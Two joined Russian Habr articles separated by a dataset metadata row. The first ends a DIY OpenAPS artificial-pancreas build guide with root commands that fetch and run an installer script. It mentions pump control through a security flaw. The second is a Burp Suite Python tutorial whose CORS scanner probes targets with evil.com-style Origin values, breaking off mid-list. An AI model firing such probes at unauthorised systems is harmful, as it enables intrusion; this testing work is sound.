Почему мы на это решились? Потому что устройство не подразумевает никакой магии. Туда закладываются данные и алгоритм, который ты и так реализуешь в жизни. И эти данные были, поскольку жена много лет отлично следила за своим здоровьем. А еще мы оба согласны с девизом одного из проектов: “Мы не хотим ждать”, пока подобные устройства пройдут всю сертификацию по медицинским правилам. Здоровье важно здесь и сейчас.
### Выбор решения
Изучая рынок, я подробно рассматривал два проекта:
* AndroidAPS ([t.me/androidapsgroup](http://t.me/androidapsgroup), <https://github.com/MilosKozak/AndroidAPS> — кажется, проект уже не развивается) — приложение под мобильное устройство;
* OpenAPS ([t.me/my\_openaps](http://t.me/my_openaps), <https://openaps.readthedocs.io/en/latest/>) — более развитый проект, который нужно устанавливать на отдельное устройство.
Еще есть Loop, но на тот момент я его не рассматривал вообще.
Два года назад — когда я выбирал проект — AndroidAPS был слабо развит. Его единственным преимуществом была установка на смартфон (т. е. не надо было отдельной коробочки). Но он не работал с помпой, выданной жене. Поэтому нам оставался OpenAPS.
### Подводные камни или почему устройство нельзя просто собрать по инструкции
Проект OpenAps довольно популярен. У него есть неплохая инструкция, описывающая, как и из чего собрать ИПЖ. Но оглядываясь на два года экспериментов, могу сказать, что реализовать это самостоятельно без технических знаний непросто. Кроме инженерных мозгов, помогающих собрать железо, нужны базовые знания Linux.
Наш проект начался со сборки железа. И это отдельная песня.
#### Подбор железа
Документация OpenAPS рекомендует использовать маленький энергоэффективный Intel Edison (на Хабре есть [статья о нем](https://habr.com/ru/post/256089/)).
Проблема в том, что Intel выпускал его несколько лет назад, но потом закрыл проект. Несколько лет назад его можно было купить на Ebay с рук, но в 2022 году, пожалуй, его уже можно и не рассматривать. Для сборки конечного устройства нужен не только сам портативный компьютер, но и обвес к нему — [Explorer board block с радиомодулем](https://openaps.readthedocs.io/en/latest/docs/Gear%20Up/edison.html#explorer-board-block). А они давно не выпускаются, как и сам Intel Edison.
Второе рекомендованное решение — Raspberry Pi. Именно его я и взял за основу, купив на AliExpress. Дополнительно к нему потребовались:
* радиомодуль для отправки данных помпе (у нее нет Bluetooth и Wi-Fi, а взаимодействие идет через радиоканал посредством уязвимости в системе безопасности помпы) — один из трех вариантов плат, совместимых с OpenAPS. Просто радиомодуль найти — не проблема, поддерживаемый — проблема. Здесь были определенные нюансы, о которых расскажу далее;
* плату питания — на AliExpress есть варианты под различные типы АКБ;
* непосредственно аккумулятор;
* кейс, в который поместится вся начинка. Кейс в итоге пришлось рисовать и печатать самостоятельно, т. к. мне не подошла модель, рекомендованная документацией OpenAPS.
Экспериментируя, я собрал жене несколько устройств с OpenAPS - искал, что будет лучше работать и удобнее эксплуатироваться.
Самый первый вариант я собирал два года назад, пытаясь минимизировать цену устройства. Приобрел комплект, указанный [в документации](https://openaps.readthedocs.io/en/latest/docs/Gear%20Up/edison.html#hardware-information-for-pi-based-setups-with-rfm69hcw-experimental). Причем, я не покупал готовые полуфабрикаты, а вместо этого брал более мелкие и дешевые детали на Aliexpress и соединял их вместе, вооружившись паяльником. С этим мне помог отец.
Корпус первой версииПервая версия без корпусаПолучившееся устройство было небольшим и в целом работало, однако оно было без экрана. Хотя изначально в него был заложен аккумулятор, через несколько дней эксплуатации он перестал работать, поэтому приходилось носить вместе с устройством power bank. А самое главное — по неясной мне причине он довольно часто терял связь с помпой, что было довольно критично.
Второй вариант решил делать строго по документации, [используя Explorer HAT](https://openaps.readthedocs.io/en/latest/docs/Gear%20Up/edison.html#hardware-information-for-pi-based-setups-with-the-explorer-hat).
Этот вариант был проще в реализации, но и гораздо дороже. Детали пришлось заказывать в онлайн магазине из США. Такая сборка работала намного лучше в плане связи с помпой, однако она по-прежнему не работала автономно (аккумулятор был, но не заработал — пришлось использовать power bank). Экран, который изначально отображал информацию о работе системы, сломался через пару месяцев эксплуатации. Рекомендованный корпус к этой сборке я печатал на принтере, скачав готовую 3d модель. Он оказался довольно некрасивым и ненадёжным.
Вторая версия с повербанкомТретий вариант был на основе [этой инструкции](https://openaps.readthedocs.io/en/latest/docs/Gear%20Up/edison.html#hardware-information-for-pi-based-setups-with-the-adafruit-rhm69hcw-bonnet). Здесь уже получилось добиться автономности до полутора суток, при этом связь с помпой остаётся хорошей. Также присутствует небольшой экран. Кейс к этой версии пришлось рисовать самому (использовал FreeCAD).
Корпус третьей версииТретья версияИтоговое устройство получилось довольно крупным, размером с неплохой power bank, зато с большим временем автономной работы. Из недостатков могу отметить то, что в этой сборке экран тоже перестал работать через пару месяцев эксплуатации.
Сравнение трех версийВ итоге мы остановились на последнем, третьем варианте. Нерабочий экран и крупный размер — это в целом не особо критичные недостатки — с ними можно смириться, тем более на данный момент вряд ли возможно устранить за разумное время. Экраны, похоже, сами по себе довольно некачественные, а размеры устройства обусловлены энергоэффективностью Raspberry Pi и необходимым временем автономной работы.
#### Установка софта
Алгоритм установки и настройки OpenAPS может различаться в зависимости от того, какое у вас железо и когда вы это делаете. Например, если сегодня у вас получилось успешно заставить устройство работать, то через год может обнаружиться, что после обновлений зависимых библиотек старая инструкция уже не актуальна и нужно её дорабатывать.
Однако я всё же приведу в пример свой (третий) способ сборки и настройки, который на момент написания этой статьи является актуальным и рабочим решением.
Вот полный список железа, который следует приобрести:
* [Raspberry Pi Zero WH](https://www.waveshare.com/raspberry-pi-zero-wh.htm)
* [Adafruit RFM69HCW Transceiver Radio Bonnet](https://www.adafruit.com/product/4072)
* [Uninterruptible Power Supply UPS HAT For Raspberry Pi](https://www.waveshare.com/ups-hat.htm)
* Любая карта MicroSD
* [GSM 868MHz 915MHz antenna](https://www.aliexpress.com/item/32957475287.html?spm=a2g0s.12269583.0.0.5c1167e84Kiq0W)
* [Два аккумулятора](https://www.ozon.ru/product/akkumulyator-18650-li-ion-samsung-inr18650-35e-3-7-3500-mah-orig-320627924) 18650
Инструкция по установке на 8 августа 2022 года:
1. Установить образ Raspberry Pi OS Lite на MicroSD карту с помощью программы [Raspberry Pi Imager](https://www.raspberrypi.com/software/). Выбрать версию Raspberry Pi OS (other) -> Raspberry Pi OS Lite (32-bit, Bullseye, no desktop). Перед началом записи образа следует не забыть там же в настройках указать данные для доступа к Wi-Fi и SSH, если необходимо.
2. Вставить MicroSD карту в Raspberry Pi и включить устройство. Подключиться к его консоли.
3. Выполнить команду `sudo raspi-config;` выбрать пункт 3 Interfacing Options; включить пункты SPI и I2C.
4. Следующие команды необходимо выполнять из-под рута:
`apt update
curl -s https://raw.githubusercontent.com/openaps/oref0/dev/bin/openaps-install.sh > /tmp/openaps-install.sh
bash /tmp/openaps-install.sh dev`
Перед началом установки программа запросит имя хоста и пароли. По окончании предложит запустить интерактивную установку. В диалоговом режиме вам предложат ввести свои данные (пароли, токены, серийный номер помпы и т. п.). По результатам ваших ответов будет сформирована консольная команда для запуска установки.
Пример для нашего железа:
`/root/src/oref0/bin/oref0-setup.sh --dir=/root/myopenaps --serial=PUT_YOUR_VALUE -- cgm=xdrip --ns-host=PUT_YOUR_VALUE --api-secret=token=PUT_YOUR_VALUE --tty=/dev/spidev0.1 --max_iob=14 --enable=' autotune ' --radio_locale='WW' -- btmac='PUT_YOUR_VALUE' --pushover_token='PUT_YOUR_VALUE' -- pushover_user='PUT_YOUR_VALUE' --hardwaretype='radiofruit' --radiotags='rfm69'`
Данную команду следует запускать также из-под рута (если вы не запустили её сразу после интерактивной установки). Вместо `PUT_YOUR_VALUE` следует указать свои данные. На все последующие вопросы следует соглашаться.
5. Следующие команды необходимо выполнять из-под рута:
`apt install libdbus-1-dev libglib2.0-dev
pip install dbus-python
cd /root/src/oref0
npm install
service cron stop
bluetoothctl
power off
power on
discoverable on
scan on
agent on
default-agent`
6. Найдите в вашем телефоне по Bluetooth ваше устройство openaps и создайте пару.
7. Выполните команду `paired-devices` чтобы проверить, что пара создана.
8. Включите на вашем телефоне Bluetooth-модем.
9. Выполните команду `trust` с указанием MAC-адреса вашего телефона.
10. Выполните команду `exit` для выхода из bluetoothctl.
11. Добавьте в crontab из-под рута команду
`*/5 * * * * bt-pan client` .
12. Если пользуетесь xDrip, то следует выполнить `crontab -e` и указать там дополнительный параметр `API_SECRET_xDripAPS`.
13. Выполнив команду `ifconfig bnep0`, можно узнать IP-адрес для программы xDrip. Формат адреса для REST API: http://secret@ip:5000/api/v1/.
14. Следующие команды необходимо выполнять из-под рута:
`dhclient bnep0
service cron start`
15. В программе xDripAPS существует ошибка, [описанная здесь](https://gitter.im/nightscout/intend-to-bolus/archives/2018/08/01). Для исправления необходимо внести изменения в файл /root/.xDripAPS/xDripAPS.py аналогично [данному MR'у](https://github.com/colinlennon/xDripAPS/pull/3/files). На момент написания инструкции ошибка проявлялась в том, что программа xDrip+ получала от openaps ошибку INTERNAL SERVER ERROR при попытке отправить calibrations. После внесения изменений следует перезагрузить компьютер.
16. Для настройки мониторинга аккумулятора следует выполнить следующие команды:
`sudo apt-get install p7zip python3-smbus
wget https://www.waveshare.com/w/upload/d/d9/UPS_HAT.7z 7zr x UPS_HAT.7z -r -o./UPS_HAT
sudo cp ./UPS_HAT/UPS_HAT/INA219.py /opt/INA219.py
sudo sed -i 's/while True/if True/g' /opt/INA219.py
sudo sed -i 's/time.sleep(2)//g' /opt/INA219.py
sudo bash
echo "alias u='python3 /opt/INA219.py'" >> /etc/profile.d/00-aliases.sh
reboot`
17. Логи openaps можно увидеть с помощью команды l. Статус аккумулятора — с помощью команды `u`.
Здесь я привёл только настройки самого openaps, т. к. они содержат наибольшее количество подводных камней. Для настройки xDrip и nightscout должно быть достаточно официальной документации, которую можно найти по ссылкам:
* <https://nightscout.ru/>
* <https://github.com/NightscoutFoundation/xDrip>
Конфиг openaps находится здесь: ~/myopenaps/preferences.json. В нём можно настроить работу системы под себя.
#### Как это выглядит на практике
Использование этой системы означает, что с собой надо всегда носить несколько устройств:
* мониторинг, который закреплен на плече и раз в минуту измеряет сахар;
* трансмиттер для данных мониторинга. Либра 1 не умеет связываться с телефоном по Bluetooth, у него есть только NFC. Соответственно нужен трансмиттер, который устанавливается сверху на сенсор мониторинга, считывает данные по NFC и отправляет их на телефон по Bluetooth;
* телефон в сумке, который получает с мониторинга график сахара; телефон шлет информацию на APS;
* APS в сумке. Устройство получает данные с телефона и формирует команды для помпы;
* помпа, исполняющая команды от APS.
Время автономной работы этого комплекта — до полутора суток. Каждую ночь жена ставит устройство на подзарядку. К утру аккумулятор заряжается и устройство перекочевывает на полку рядом с ее рабочим местом или в сумку, если она выходит на улицу. Весь этот комплект всегда с собой.
Я упоминал, что есть самозанятые, к которым можно обратиться для настройки устройства — решения всех описанных проблем — за деньги. Но, честно говоря, я не представляю, как бы этим пользовался человек, который не разобрался в системе.
Моей жене в этом смысле повезло — она PHP-программист. Для нее не проблема зайти на устройство для его настройки с телефона через консоль по SSH.
APS не избавляет от необходимости следить за здоровьем и не снимает ответственность. В устройство постоянно надо вводить данные о питании, при необходимости корректировать коэффициенты. Т. е. APS позволяет получить результат лучше, чем раньше делал человек, но только за счет того, что не спит и не отдыхает — занимается этим процессом 24 часа в сутки, 7 дней неделю. Фактически, APS использует знания и опыт его владельца (и взять их из другого источника — из какой-нибудь библиотеки или от другого диабетика — он не может). Так жизнь становится чуть более комфортной. Имея больше данных о своем здоровье — о реакции на разные типы питания — можно позволить себе чуть больше разнообразия. Например, моя жена иногда ест пирожные, продолжая следить за приборами и графиками. Еще года 2 назад это было проблематично.
#### Немного аналогий от моей жены
Представьте, что вы едете ночью на машине по дороге. Если у вас нет диабета, вы можете включить автопилот и подремать. Если у вас диабет 1 типа, ваш автопилот сломан и управление автомобилем — в ваших руках. Но есть некоторые сложности.
Во-первых, дорога неровная, она постоянно петляет. На уровень сахара в крови влияет буквально все, что-то вы можете посчитать заранее, например БЖУ съеденного обеда (такие "повороты" дороги вы можете увидеть заранее), другие посчитать практически невозможно, например, реакцию на стресс (такие "повороты" скрыты за деревьями).
Многое также зависит от вашего автомобиля.
Если его руль поворачивается только на 90 или 180 градусов без промежуточных вариантов — вы вводите инсулин шприц-ручками. Если руль вращается плавно — у вас инсулиновая помпа.
Вы едете ночью. Если фары вашего автомобиля горят непрерывно — у вас мониторинг. Если же вы можете подсветить дорогу только на пару секунд, чтобы убедиться, что вы не съехали с полосы и двигаетесь в верном направлении, — вы используете только глюкометр (каждое такое включение — платное).
Если у вас есть ИПЖ — это как ученик автошколы за рулем. Вы можете научить ее управлять автомобилем и немного расслабиться: в стандартной ситуации она справится и вы сможете немного подремать, не забывая держать ногу на дублирующей педали.
### В итоге
Если хотя бы одному человеку эта статья поможет успешнее справляться с болезнью, значит, наша цель выполнена. Если у кого-то будут дополнительные вопросы по статье и в целом по диабету, то мы готовы дать советы и поделиться нашим опытом на форуме <https://www.dia-club.ru/forum_ru>.
Также есть замечательные книги:
* [Пособие для новичков с сахарным диабетом 1 типа](https://vk.com/doc250000011_643892033)
* [Ханас. Диабет 1 типа у детей и подростков](https://vk.com/doc250000011_547778059)
* [Точная интенсивная инсулинотерапия сахарного диабета. Кадомский.Ю](https://juri.dia-club.ru/)
Диабет 1 типа — неизлечимая болезнь. До открытия инсулина люди с таким диагнозом жили недолго. Изобретение инсулина произвело революцию в терапии сахарного диабета. Для больных стало возможным обеспечить себе срок жизни, сравнимый с жизнью здоровых людей: здесь всё зависит только от ума и дисциплины самого больного. Использование же последних достижений в электронике и IT для контроля сахара, на мой взгляд, сопоставимо по значимости с открытием инсулина. Грань между больным и здоровым человеком ещё больше стирается. Эта мысль вдохновляет меня и побуждает с бОльшим оптимизмом смотреть в будущее Человека.
Автор: Андрей Буров, Максилект
P.S. Мы публикуем наши статьи на нескольких площадках Рунета. Подписывайтесь на нашу страницу в [VK](https://vk.com/maxilect) или на [Telegram-канал](https://t.me/maxilect), чтобы узнавать обо всех публикациях и других новостях компании Maxilect. | https://habr.com/ru/post/685148/ | null | ru | null |
# Пишем расширение для Burp Suite с помощью Python
Привет, Хабр!
Думаю многие знают о таком инструменте, как Burp Suite от PortSwigger. Burp Suite – популярная платформа для проведения аудита безопасности веб-приложений. Помимо того, что Burp и так содержит тонну полезных функций, он еще и дает возможность пользователям создавать свои расширения, позволяющие невероятно увеличить встроенный функционал приложения.
Однако, статей по созданию расширений на Python в интернете не так и много, думаю, здесь сказалось то, что Burp написан на Java, и документация для расширений, естественно, описывает работу с Java. Но что поделать, расширения очень нужны и помогают получить преимущество, если речь идет о Bug Bounty. Так что предлагаю сегодня рассмотреть азы создания расширений для Burp Suite на Python, а писать мы будем непосредственно сканер CORS misconfiguration.
Подготовка к работе
-------------------
Как уже было сказано выше, Burp использует Java, поэтому для разработки на Python нам нужно будет загрузить [Jython](https://www.jython.org/download) Standalone Edition, как об этом говорит [документация на сайте PortSwigger](https://portswigger.net/burp/extender/writing-your-first-burp-suite-extension). После загрузки открываем Burp и заходим в Extender - Options - Python environment и выбираем путь до нашего Jython файла.
Настраиваем Python EnvironmentНа этом настройку Burp можно считать завершенной, однако я предлагаю обратить внимание на репозиторий [burp-exceptions](https://github.com/securityMB/burp-exceptions). Если во время работы возникнет исключение, то оно будет выведено в страшном формате Java:
Java исключение
```
java.lang.RuntimeException: org.python.core.PyException
at burp.fl.a(Unknown Source)
at burp.edd.a(Unknown Source)
at burp.e2g.a(Unknown Source)
at burp.e2g.g(Unknown Source)
at burp.i1c.stateChanged(Unknown Source)
at javax.swing.JTabbedPane.fireStateChanged(JTabbedPane.java:416)
at javax.swing.JTabbedPane$ModelListener.stateChanged(JTabbedPane.java:270)
...
```
Так как пишем мы на Python, и скорее всего не знакомы с Java, то приятней было бы получать в исключения в привычном и читабельном виде. Расширение из этого репозитория превращает Java исключения в обычный Python вид:
Python исключение
```
*** PYTHON EXCEPTION
Traceback (most recent call last):
File "/Users/mb/Desktop/burp extension/exceptions_fix.py", line 8, in decorated_function
return original_function(*args, **kwargs)
File "/Users/mb/Desktop/burp extension/CustomEditorTab.py", line 78, in setMessage
self._txtInput.setEsditable(self._editable)
AttributeError: 'burp.ul' object has no attribute 'setEsditable'
```
Поэтому предлагаю установить этот модуль, дабы помочь в дальнейшем решении проблем.
Установка достаточно простая и подробно описана на гитхабе:
1. Открываем Burp, заходим в Extender - Options - Python environment. Указываем папку, в которую поместим данный модуль, в поле **Folder for loading modules**.
2. Загружаем [exceptions\_fix.py](https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) и кладем его в выбранную папку
3. В файл с нашим расширением нужно будет добавить дополнительные строки, которые опишем уже в следующей главе
Создаем файл с расширением
--------------------------
Напомню, что в данной статье мы будем делать сканер CORS уязвимостей в пассивном режиме. Для других типов расширений могут понадобиться другие интерфейсы.
Создаем Python файл. Назовем его, допустим, **cors-scanner.py**.
Для начала импортируем загруженный модуль для преобразования ошибок
```
try:
from exceptions_fix import FixBurpExceptions
except ImportError:
pass
```
Из класса `burp` импортируем интерфейсы, которые нам понадобятся для работы
```
from burp import IBurpExtender, IScannerCheck, IScanIssue
```
Ну и еще несколько импортов для корректной работы модуля преобразования ошибок
```
from java.io import PrintWriter
import sys
```
И сразу добавим в самый конец файла саму обработку ошибок:
```
try:
FixBurpExceptions()
except:
pass
```
На этом с импортами покончено, время писать код
Создаем класс BurpExtender
--------------------------
Следует оговориться - наше расширение направлено только сканирование только одного типа уязвимостей. Для создания большого количества сканеров нужно будет создать несколько классов, как например в популярном расширении [activeScan++](https://github.com/PortSwigger/active-scan-plus-plus/blob/master/activeScan%2B%2B.py), которое тоже написано на Python. Мы же обойдемся только одним, в котором объединим и сканер и регистрацию расширения.
Создаем наш класс:
```
class BurpExtender(IBurpExtender, IScannerCheck):
```
[IBurpExtender](https://portswigger.net/burp/extender/api/burp/iburpextender.html) - главный интерфейс, его должны наследовать все расширения для Burp.
[IScannerCheck](https://portswigger.net/burp/extender/api/burp/iscannercheck.html) - интерфейс сканера, он позволит нам использовать пассивный и/или активный режим сканирования, именно благодаря нему мы будем обрабатывать все наши запросы.
Внутри этого класса создадим главный метод
```
def registerExtenderCallbacks(self, callbacks):
sys.stdout = PrintWriter(callbacks.getStdout(), True)
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName('CORS Passive Scanner')
callbacks.registerScannerCheck(self)
```
Здесь мы объявили вспомогательные инструменты, которые используем в будущем и указали имя нашего расширения. А так же зарегистрировали наш кастомный сканер с помощью
```
callbacks.registerScannerCheck(self)
```
Если бы мы использовали несколько классов-сканеров, аргументом в `registerScannerCheck(..)` мы бы передали нужные нам классы. Но так как класс у нас один - передадим `self`.
Создадим наш метод, который будет вызываться автоматически во время пассивного сканирования
```
def doPassiveScan(self, baseRequestResponse):
```
[baseRequestResponse](https://portswigger.net/burp/extender/api/burp/IHttpRequestResponse.html) - интерфейс, который содержит информацию о запросе и ответе, и позволяет получать или изменять информацию.
Немного теории: что будет являться триггером на возможное наличие CORS misconfiguration? Правильный ответ - заголовки ответа сервера. Нас интересуют эти два заголовка:
1. Access-Control-Allow-Origin
2. Access-Control-Allow-Credentials
Наличие их в заголовках ответа намекает нам на возможные проблемы. Поэтому далее мы будем работать только с теми запросами, в ответ на которые мы получили один из этих заголовков.
Наши `_helpers`, которые мы определили выше, имеют такой метод как [analyzeResponse(..)](https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#analyzeResponse(byte[])), возвращающий нам детальную информацию об ответе сервера. В `analyzeResponse(..)` необходимо передать наш ответ (который изначально пришел в виде байтов). Получить ответ мы можем из нашей переменной `baseRequestResponse` (которая содержит и запрос, и ответ, как видно из названия) с помощью метода `getResponse()`. После чего, `analyzeResponse(..)`возвращает нам удобный для работы ответ сервера. Устав от слова "ответ" наконец-то получаем данные в ввиде [IResponseInfo](https://portswigger.net/burp/extender/api/burp/IResponseInfo.html). Теперь мы можем свободно использовать методы для получения нужных нам данных, а нужны нам, как мы помним - заголовки. Так что просто достаем их методом `getHeaders()`. Не забываем превратить их в список, потому что изначально они идут в Java формате.
```
def doPassiveScan(self, baseRequestResponse):
response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())
```
Далее мы итерируем полученные заголовки и ищем есть ли среди них `Access-Control-Allow-Origin` либо `Access-Control-Allow-Credentials`.
```
def doPassiveScan(self, baseRequestResponse):
response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())
for response_header in response_headers:
if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:
```
Если мы выведем заголовки с помощью
```
sys.stdout.println(response_headers)
```
То увидим примерно следующее:
```
[u'Access-Control-Allow-Credentials: true', u'cache-control: private, s-maxage=0, no-store, no-cache']
# и так далее
```
Если находим нужные заголовки, то можно приступать к дальнейшей работе, для которой нам понадобятся заголовки запроса и URL. Получаем их
```
request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()
request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()
```
Так как уязвимостей может быть много, например если сайт доверяет любому субдомену и небезопасному протоколу http, то нам придется зарегистрировать несколько исключений (но можно и одно, тут каждому на вкус и цвет. Однако, если прекратить тестирование при первой уязвимости, например сайт доверяет одному из субдоменов, то мы пропустим дальнейшие тесты, а ведь там может вскрыться, что сайт доверяет любому домену, и такая уязвимость, естественно, будет нести гораздо большую опасность, так что мы оставим все ошибки). Для этого создадим просто список `issues`, в который будем складывать все найденные уязвимости, и вернем их в конце всех тестов.
По итогу наша функция выглядит примерно так:
```
def doPassiveScan(self, baseRequestResponse):
response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())
for response_header in response_headers:
if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:
request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()
request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()
issues = []
```
Теперь настала пора подумать о наших payloads.
Генерируем Origin для тестирования
----------------------------------
Сделаю отступление - вариантов различной нагрузки существует множество. Есть хороший сканер, написанный на Python - [CORScanner](https://github.com/chenjj/CORScanner), можно взять генератор оттуда. Для статьи я ограничусь только самыми популярными тестами (охватывают большинство misconfiguration, как мне кажется), поэтому при желании - добавляйте свои варианты нагрузок.
Наша функция будет иметь один аргумент - URL.
```
def _generate_payloads(self, url):
host = url.getHost()
protocol = url.getProtocol()
payloads = {}
```
Достаем из нашего URL два необходимых параметра - хост и протокол. Я предлагаю хранить все сгенерированные пейлоады в формате словаря словарей. Так мы сможем хранить наш ключ (по примеру из сканера с гитхаба), который можно использовать например для отладки. Значением будет являться словарь, который содержит в себе нужные нам параметры. Можно описать все что угодно, я сделаю сокращенный вариант. Выглядеть это примерно будет так:
```
{'trust_any_origin': {'payload_url': 'XXX', 'description': 'YYY', 'severity': 'ZZZ'}}
```
Помимо самой ссылки и описания добавим severity, которую показывает Burp. Так как очевидно, что уязвимость, позволяющая отправлять и принимать запросы с любого URL будет гораздо опаснее, чем уязвимость, позволяющая делать это только с субдомена нашего таргета. Далее ничего сложного, описываем пейлоады, добавляем их в словарь и возвращаем
```
def _generate_payloads(self, url):
host = url.getHost()
protocol = url.getProtocol()
payloads = {}
# trust any origin
payload_url = '{}://evil.com'.format(protocol)
payloads['trust_any_origin'] = {'origin': payload_url, 'description': 'Site trust any origin', 'severity': 'High'}
# trust any subdomain
payload_url = '{}://evil.{}'.format(protocol, host)
payloads['trust_any_subdomain'] = {'origin': payload_url, 'description': 'Site trust any subdomain', 'severity': 'High'}
# trust insecure protocol
if protocol == 'https':
payload_url = 'http://evil.{}'.format(host)
payloads['trust_http'] = {'origin': payload_url, 'description': 'Site trust insecure protocol', 'severity': 'Medium'}
# trust null
payload_url = 'null'
payloads['trust_null'] = {'origin': payload_url, 'description': 'Site trust null origin', 'severity': 'High'}
# prefix match full url
payload_url = '{}://{}.evil.com'.format(protocol, host)
payloads['trust_prefix'] = {'origin': payload_url, 'description': 'Site trust prefix', 'severity': 'High'}
# trust invalid dot escape
splitted_host = host.split('.')
payload_host = '{}A{}.{}'.format('.'.join(splitted_host[:-1]), splitted_host[-1], splitted_host[-1])
payload_url = '{}://{}'.format(protocol, payload_host)
payloads['trust_invalid_regex'] = {'origin': payload_url, 'description': 'Site trust origin with unescaped dot', 'severity': 'High'}
return payloads
```
Сделаю пояснение по поводу `{'severity': 'Medium'}` для http протокола. Дело в том, что данный тип атаки был показан на одной из конференций, не найду сейчас ссылку, но автор презентации показывал, что отправил репорт в Google - те подумали и приняли его. Подобный репорт так же был принят на HackerOne ([#629892](https://hackerone.com/reports/629892)). Однако, когда я отправлял подобную уязвимость - мне выставили N/A. Так что я думаю все зависит от триагера и правил программы, поэтому поставим Medium, уязвимость вроде как есть, но не все готовы ее приянять, так как она непростая в реализации.
Примерное описание работыОтправляем пейлоады
-------------------
Ну хорошо, вернемся к `doPassiveScan`. Но до этого быстро создадим короткий метод
```
def _add_origin(self, headers, value):
headers = list(headers)
headers.append('Origin: {}'.format(value))
return headers
```
В него мы просто будем передавать заголовки, которые мы отправляли в оригинальном запросе, при этом добавим к ним наш новый Origin и вернем обратно.
Итерируем наши пейлоады, и создаем новую переменную `payload_headers`, в которую будут записаны наши новые заголовки для атаки, полученные от `_add_origin`*.*
```
def doPassiveScan(self, baseRequestResponse):
response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())
for response_header in response_headers:
if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:
request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()
request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()
issues = []
payloads = self._generate_payloads(request_url)
for payload in payloads.values():
payload_headers = self._add_origin(request_headers, payload['origin'])
```
Далее, чтобы сформировать запрос, нам нужно его тело. Получаем offset для тела запроса, затем получим само тело, срезав запрос по этому индексу.
```
body_offset = self._helpers.analyzeRequest(baseRequestResponse).getBodyOffset()
request_body = baseRequestResponse.getRequest()[body_offset:]
```
И, если тело присутствует в запросе, то отправляем его. Если нет - передаем None
```
if len(request_body) == 0:
request = self._helpers.buildHttpMessage(payload_headers, None)
else:
request = self._helpers.buildHttpMessage(payload_headers, request_body)
```
Все это нужно для того, чтобы в POST запросах не терялось тело, как ни трудно догадаться. Осталось совсем немного. Создаем наш запрос и отправляем его. После чего, достаем из него заголовки по уже известной схеме
```
response = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), request)
response_headers = list(self._helpers.analyzeResponse(response.getResponse()).getHeaders())
```
Что мы ищем в заголовках? Правильно - наличие `Access-Control-Allow-Origin`, который говорит нам о том, что сервер разрешил нашему Origin получать ответ.
```
for response_header in response_headers:
if 'Access-Control-Allow-Origin' in response_header:
```
Если данное условие выполняется - соответственно мы нашли некоторую уязвимость. Осталось только сообщить о ней Burp, чтобы он сообщил о ней нам. Оставим пока что эту часть недописанной.
Итого, наша функция сейчас выглядит примерно вот так:
cors-scanner.py
```
def doPassiveScan(self, baseRequestResponse):
response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())
for response_header in response_headers:
if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:
request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()
request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()
issues = []
payloads = self._generate_payloads(request_url)
for payload in payloads.values():
payload_headers = self._add_origin(request_headers, payload['origin'])
body_offset = self._helpers.analyzeRequest(baseRequestResponse).getBodyOffset()
request_body = baseRequestResponse.getRequest()[body_offset:]
if len(request_body) == 0:
request = self._helpers.buildHttpMessage(payload_headers, None)
else:
request = self._helpers.buildHttpMessage(payload_headers, request_body)
response = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), request)
response_headers = list(self._helpers.analyzeResponse(response.getResponse()).getHeaders())
for response_header in response_headers:
if 'Access-Control-Allow-Origin' in response_header:
return issues
```
Нам не хватает класса, описывающего уязвимость. Давайте его создадим!
Создаем кастомный класс уязвимости
----------------------------------
Создаем класс, наследуясь от [IScanIssue](https://portswigger.net/burp/extender/api/burp/IScanIssue.html)
```
class CustomScanIssue(IScanIssue):
```
Описываем `__init__`
```
def __init__(self, httpService, url, httpMessages, name, detail, severity):
self._httpService = httpService
self._url = url
self._httpMessages = httpMessages
self._name = name
self._detail = detail
self._severity = severity
self._confidence = 'Certain'
return
```
Здесь просто различные параметры для описания ошибки. URL, имя, описание, severity, confidence и так далее. Вся эта информация отображается, когда мы в Dashboard нажимаем на URL, в котором найдена уязвимость. Добавим методы, чтобы Burp мог получать нужные значения. В итоге класс выглядит так:
```
class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, severity):
self._httpService = httpService
self._url = url
self._httpMessages = httpMessages
self._name = name
self._detail = detail
self._severity = severity
self._confidence = 'Certain'
def getUrl(self):
return self._url
def getIssueName(self):
return self._name
def getIssueType(self):
return 0
def getSeverity(self):
return self._severity
def getConfidence(self):
return self._confidence
def getIssueBackground(self):
return None
def getRemediationBackground(self):
return None
def getIssueDetail(self):
return self._detail
def getRemediationDetail(self):
return None
def getHttpMessages(self):
return self._httpMessages
def getHttpService(self):
return self._httpService
```
Описываем уязвимость
--------------------
Теперь можно с помощью данного класса создать объект уязвимости.
В наш блок, где мы проверяем наличие заголовка `Access-Control-Allow-Origin` в ответе после атаки, добавим следующее:
```
for response_header in response_headers:
if 'Access-Control-Allow-Origin' in response_header:
issues.append(
CustomScanIssue(
baseRequestResponse.getHttpService(),
request_url,
[response],
'CORS Misconfiguration',
payload['description'],
payload['severity']
)
)
break
```
Передаем в наш класс следующие аргументы:
1. HTTP сервисы
2. URL, на котором найдена уязвимость
3. `response`, который мы получили после `makeHttpRequest`, сюда так же можно передать маркеры, которые будут подсвечивать находку в UI, но нам такое не нужно
4. Название уязвимости, у нас оно будет одно для всех
